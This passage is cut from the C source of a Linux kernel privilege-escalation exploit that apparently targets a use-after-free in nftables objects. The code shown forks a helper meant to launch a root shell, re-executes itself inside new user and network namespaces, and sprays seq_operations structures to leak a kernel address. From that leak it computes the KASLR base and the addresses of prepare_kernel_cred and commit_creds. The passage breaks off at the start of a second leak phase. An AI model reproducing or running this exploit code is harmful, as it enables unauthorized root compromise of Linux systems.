helper execution
*/
drop_callback_scripts();
/*
Launch the process that will pop the root shell: it needs
to be outside of the namespace
*/
pid = fork();
if(pid == 0) {
close(pipefd[1]);
r = read(pipefd[0], &is_success, sizeof(int));
if(r < 0)
bye("[-] Exploit failed!");
sleep(2);
if(is_success)
launch_trigger();
exit(0);
}
close(pipefd[0]);
asprintf(&pipefd_str, "%d", pipefd[1]);
//unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);
/*
Execute ourselves in a new network namespace to
be able to trigger and exploit the bug
*/
char *args[] = {
UNSHARE_PATH, "-Urnm", argv[0], pipefd_str,
NULL,
};
execvp(UNSHARE_PATH, args);
EXP_P:
if(argc != 2)
bye("[-] pipe fd not provided for namespace process");
pipefd[1] = atoi(argv[1]);
/* Assign to a specific CPU core for heap shaping reliability */
assign_to_core(DEF_CORE);
srand(time(NULL));
puts("[*] Saving current state...");
save_state();
/* ===================== [ Pre-cleanup ] ===================== */
/* Remove exploit tables left from other executions */
delete_table(TABLE_KLK_UAF_A);
delete_table(TABLE_KLK_UAF_B);
delete_table(TABLE_HLK_UAF_A);
delete_table(TABLE_HLK_UAF_B);
delete_table(TABLE_OBJ_SPRAY_A);
delete_table(TABLE_RD_UAF_A);
delete_table(TABLE_RD_UAF_B);
delete_table(TABLE_RP_UAF_A);
delete_table(TABLE_RP_UAF_B);
/* ===================== [ Pre-Alloc ] ===================== */
/*
As a result of the table spraying, adding the traversing to add
the hooking rule will turn slow, we create the objects for the
last stage at the very beggining of the exploit.
*/
create_uaf(TABLE_RP_UAF_A, TABLE_RP_UAF_B, OBJ_RP_UAF, SET_RP_UAF, OBJECT_TYPE_COUNTER, 0, NULL, 1);
set_up_hook(TABLE_RP_UAF_B, SET_RP_UAF, CHAIN_RP_UAF);
/* ===================== [ Phase 1 - KASLR Leak ] ===================== */
puts("[i] Phase 1 - KASLR leak");
PHASE_1:
puts("\t[*] Triggering UAF on nft_object struct...");
klk_obj_name = str_repeat('X', 0x20 - 2);
create_uaf(TABLE_KLK_UAF_A, TABLE_KLK_UAF_B, klk_obj_name, SET_KLK_UAF, OBJECT_TYPE_COUNTER, 0, NULL, 0);
/*
Right at the time we remove the table that holds the referenced object,
we need to start spraying with seq_operations struct to succeed in
leaking single_open() address, and calculating KASLR base this way.
*/
pthread_create(&tx, NULL, (void *)spray_seq_op_loop, NULL);
delete_table(TABLE_KLK_UAF_A);
puts("\t[*] Spraying with seq_operations structs...");
pthread_join(tx, &retval);
/*
If we succeed in making a seq_operations struct be allocated right where
our obj->key.name string was, we will be able to leak the single_open()
address by requesting the object name through the map.
This though has another requirement, which is that obj is intact, so that
the pointer to the obj->key.name chunk is still existing.
*/
so_leaked_addr = parse_uaf_obj_name_leak(TABLE_KLK_UAF_B, SET_KLK_UAF, 0x40 + 12, 0);
if(so_leaked_addr == 0 || (so_leaked_addr & 0xffff000000000000) != 0xffff000000000000) {
delete_table(TABLE_KLK_UAF_B);
bye("[-] single_open() leak failed!");
}
puts("\t[*] Cleaning up descriptors...");
/* Cleanup descriptors used in the seq_operations spraying */
for(int i = 0 ; i < MAX_FDS ; i++)
close(fds[i]);
printf("\t[+] Leaked: single_open() @ 0x%lx\n", so_leaked_addr);
kaslr_base = so_leaked_addr - SINGLE_OPEN_OFF;
printf("\t[+] Leaked: KASLR base @ 0x%lx\n", kaslr_base);
/* Once with KASLR base, recalculate offsets for every address we need */
recalculate_from_kaslr_base();
printf("\t[+] Leaked: prepare_kernel_cred() @ 0x%lx\n", prepare_kernel_cred);
printf("\t[+] Leaked: commit_creds() @ 0x%lx\n", commit_creds);
/* Cleanup (from phase 1) */
puts("\t[*] Cleaning up...");
delete_table(TABLE_KLK_UAF_B);
/* ===================== [ Phase 2 - ctx->table leak ] ===================== */
puts("[i] Phase 2 - ctx->table leak");
PHASE_2: